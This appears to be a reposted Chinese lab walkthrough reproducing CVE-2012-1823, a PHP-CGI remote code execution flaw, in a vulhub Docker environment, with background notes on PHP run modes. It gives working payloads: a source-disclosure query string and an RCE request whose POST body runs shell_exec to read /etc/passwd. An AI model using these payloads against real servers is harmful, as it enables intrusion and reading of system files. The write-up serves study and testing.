PHP-CGI遠程代碼執行漏洞CVE-2012-1823漏洞復現


漏洞介紹

這個漏洞簡單來說,就是用戶請求的querystring(querystring字面上的意思就是查詢字符串,一般是對http請求所帶的數據進行解析,這里也是只http請求中所帶的數據)

被作為了php-cgi的參數,最終導致了一系列結果。

影響范圍:

漏洞影響版本 php < 5.3.12 or php < 5.4.2

PS:CVE-2012-1823是在php-cgi運行模式下出現的漏洞,其漏洞只出現在以cgi模式運行的php中

 

復現環境

docker容器環境:kali2020   

ip:192.168.117.128:8082(默認為8080,我這里改為8082)

 

環境開啟過程:

進入/vulhub/php/CVE-2012-1823目錄下

打開終端:

sudo docker-compose up -d

開啟后查看容器信息:

sudo docker ps   

 

 進入靶機:在瀏覽器訪問  http://your-ip:8082()

 

 

漏洞復現過程

 

Cgi模式下命令行參數有如下一些參數可用
-c 指定php.ini文件的位置

-n 不要加載php.ini文件

-d 指定配置項

-b 啟動fastcgi進程

-s 顯示文件源碼

-T 執行指定次該文件

-h和-? 顯示幫助

 

 

源碼泄露playload:

/index.php?-s

 

 

 遠程執行playload:

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a

//input url解碼:(-d allow_url_include=on -d auto_prepend_file=php://input
//allow_url_include=on  將allow_url_include打開,使得可以文件包含,可以用偽協議
//auto_prepend_file   每次在加載訪問的php文件之前,都訪問php://input(也就是POST中的參數內容
POST: <?php echo shell_exec('cat /etc/passwd');?>

 

 

補充知識

1)cgi 通用網關接口(Common Gateway Interface))

CGI即通用網關接口(Common Gateway Interface),它是一段程序, 通俗的講CGI就象是一座橋,把網頁和WEB服務器中的執行程序連接起來,它把HTML接收的指令傳遞給服務器的執行程序,再把服務器執行程序的結果返還給HTML頁。

2) fast-cgi 常駐 (long-live) 型的 CGI 【php-fpm:PHP的FastCGI進程管理器】

fast-cgi 是cgi的升級版本,FastCGI 像是一個常駐 (long-live) 型的 CGI,它可以一直執行着,只要激活后,不會每次都要花費時間去 fork 一次 (這是 CGI 最為人詬病的 fork-and-execute 模式)。

3) cli 命令行運行 (Command Line Interface)

cli是php的命令行運行模式,大家經常會使用它,但是可能並沒有注意到(例如:我們在linux下經常使用 "php -m"查找PHP安裝了那些擴展就是PHP命令行運行模式;有興趣的同學可以輸入php -h去深入研究該運行模式)

4)web模塊模式 (apache等web服務器運行的模塊模式)

模塊模式是以mod_php5模塊的形式集成,此時mod_php5模塊的作用是接收Apache傳遞過來的PHP文件請求,並處理這些請求,然后將處理后的結果返回給Apache。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM